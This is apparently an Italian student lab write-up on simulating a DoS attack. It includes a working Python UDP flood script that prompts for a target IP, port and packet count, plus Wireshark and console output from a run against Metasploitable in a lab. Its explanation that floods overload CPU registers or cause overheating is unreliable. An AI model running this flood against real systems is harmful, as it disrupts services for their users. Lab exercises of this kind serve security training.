

Esercitazione S6/L3

In questa esercitazione ho simulato un attacco Dos, inviando pacchetti UDP, creando un semplice programma con python.

Dos:

L'attacco Dos è un tipo di attacco che mira a sovraccaricare le risorse hardware di un dispositivo. Questo avviene grazie all'invio di molteplici pacchetti in un lasso di tempo ristretto. La macchina vittima ricevendo una mole di pacchetti enorme non riuscirà a processarli e tenderà a sovraccaricarsi, bloccandosi per: saturazione dei registri (le memorie della cpu) o per il raggiungimento di una temperatura troppo elevata.

Python:

Questo è il programma che sono andato a creare.

Il programma all'avvio chiederà all'utente l'impostazione dei parametri quali: l'indirizzo IP, la porta di destinazione, la grandezza dei pacchetti e quanti pacchetti si vuole inviare. Nel codice andremo a impostare (nella riga 21) in quale lasso di tempo deve essere effettuato l'invio dei pacchetti. Minore sarà l'intervallo più pacchetti verranno inviati alla macchina target con la possibilità di

portare a termine l'attacco Dos. Una volta impostati i parametri avverrà lo scambio dei pacchetti UDP come impostato nel programma.

Possiamo riscontrare l'esito dell'invio dei pacchetti andando a intercettare la connessione con wireshark

```
~/Desktop/Bufferino.py - Mousepad
File Edit Search View Document Help
1 import socket
2 import time
3
4 def invia_pacchetti_udp():
5     # Richiedi all'utente i dettagli del pacchetto
6     ip_destinazione = input("Inserisci l'indirizzo IP di destinazione: ")
7     porta_destinazione = int(input("Inserisci la porta di destinazione: "))
8     dimensione_pacchetto = int(input("Inserisci la dimensione del pacchetto (in byte): "))
9     numero_pacchetti = int(input("Inserisci il numero di pacchetti da inviare: "))
10
11     # Creazione del contenuto del pacchetto di dimensione specificata
12     contenuto_pacchetto = b'A' * dimensione_pacchetto
13
14     # Creazione del socket UDP
15     with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock:
16         for i in range(numero_pacchetti):
17             try:
18                 # Invia il pacchetto al destinatario
19                 sock.sendto(contenuto_pacchetto, (ip_destinazione, porta_destinazione))
20                 print(f"Pacchetto {i+1}/{numero_pacchetti} inviato a {ip_destinazione}:{porta_destinazione}")
21                 time.sleep(0.01)
22             except Exception as e:
23                 print(f"Errore durante l'invio del pacchetto {i+1}: {e}")
24
25 # Avvia la funzione per inviare i pacchetti UDP
26 if __name__ == "__main__":
27     invia_pacchetti_udp()
28
```

No.	Time	Source	Destination	Protocol	Length	Info
60	43.810230737	192.168.1.13	192.168.1.15	UDP	1066	39862 → 80 Len=1024
61	43.821346742	192.168.1.13	192.168.1.15	UDP	1066	39862 → 80 Len=1024
62	43.836202867	192.168.1.13	192.168.1.15	UDP	1066	39862 → 80 Len=1024
63	43.846627557	192.168.1.13	192.168.1.15	UDP	1066	39862 → 80 Len=1024
64	43.858732113	192.168.1.13	192.168.1.15	UDP	1066	39862 → 80 Len=1024
65	43.870267161	192.168.1.13	192.168.1.15	UDP	1066	39862 → 80 Len=1024
66	43.884131592	192.168.1.13	192.168.1.15	UDP	1066	39862 → 80 Len=1024
67	43.898637079	192.168.1.13	192.168.1.15	UDP	1066	39862 → 80 Len=1024
68	43.913224325	192.168.1.13	192.168.1.15	UDP	1066	39862 → 80 Len=1024
69	43.929399440	192.168.1.13	192.168.1.15	UDP	1066	39862 → 80 Len=1024
70	43.940662110	192.168.1.13	192.168.1.15	UDP	1066	39862 → 80 Len=1024
71	44.046049835	192.168.1.13	192.168.1.15	UDP	1066	39862 → 80 Len=1024
72	44.056836180	192.168.1.13	192.168.1.15	UDP	1066	39862 → 80 Len=1024
73	44.067047402	192.168.1.13	192.168.1.15	UDP	1066	39862 → 80 Len=1024
74	44.077606309	192.168.1.13	192.168.1.15	UDP	1066	39862 → 80 Len=1024
75	44.088469970	192.168.1.13	192.168.1.15	UDP	1066	39862 → 80 Len=1024
76	44.100667523	192.168.1.13	192.168.1.15	UDP	1066	39862 → 80 Len=1024
77	44.112402746	192.168.1.13	192.168.1.15	UDP	1066	39862 → 80 Len=1024

Frame 84: 1066 bytes on wire (8528 bits), 1066 bytes captured (8528 bits) on interface eth0, 1066 bytes from 192.168.1.13 to 192.168.1.15 on interface eth0
Ethernet II, Src: PCSysystemec_ad:25:87 (08:00:27:25:87:00), Dst: 01:00:5b:b6:00:50 (08:00:27:00:5b:b6)
Internet Protocol Version 4, Src: 192.168.1.13, Dst: 192.168.1.15
User Datagram Protocol, Src Port: 39862, Dst Port: 80
Data (1024 bytes)

Pacchetto 73/99 inviato a 192.168.1.15:80
Pacchetto 74/99 inviato a 192.168.1.15:80
Pacchetto 75/99 inviato a 192.168.1.15:80
Pacchetto 76/99 inviato a 192.168.1.15:80
Pacchetto 77/99 inviato a 192.168.1.15:80
Pacchetto 78/99 inviato a 192.168.1.15:80
Pacchetto 79/99 inviato a 192.168.1.15:80
Pacchetto 80/99 inviato a 192.168.1.15:80
Pacchetto 81/99 inviato a 192.168.1.15:80
Pacchetto 82/99 inviato a 192.168.1.15:80
Pacchetto 83/99 inviato a 192.168.1.15:80
Pacchetto 84/99 inviato a 192.168.1.15:80
Pacchetto 85/99 inviato a 192.168.1.15:80
Pacchetto 86/99 inviato a 192.168.1.15:80
Pacchetto 87/99 inviato a 192.168.1.15:80
Pacchetto 88/99 inviato a 192.168.1.15:80
Pacchetto 89/99 inviato a 192.168.1.15:80
Pacchetto 90/99 inviato a 192.168.1.15:80
Pacchetto 91/99 inviato a 192.168.1.15:80
Pacchetto 92/99 inviato a 192.168.1.15:80
Pacchetto 93/99 inviato a 192.168.1.15:80
Pacchetto 94/99 inviato a 192.168.1.15:80
Pacchetto 95/99 inviato a 192.168.1.15:80
Pacchetto 96/99 inviato a 192.168.1.15:80
Pacchetto 97/99 inviato a 192.168.1.15:80
Pacchetto 98/99 inviato a 192.168.1.15:80

Come si può vedere dalla foto precedente è avvenuto lo scambio di pacchetti UDP da Kali (source 192.168.1.13) a Metasploitable (destination 192.168.1.15).
Prolungando questo scambio di pacchetti, o impostando un intervallo di tempo minore, la macchina target (in questo caso Metasploitable) andrà fuori servizio.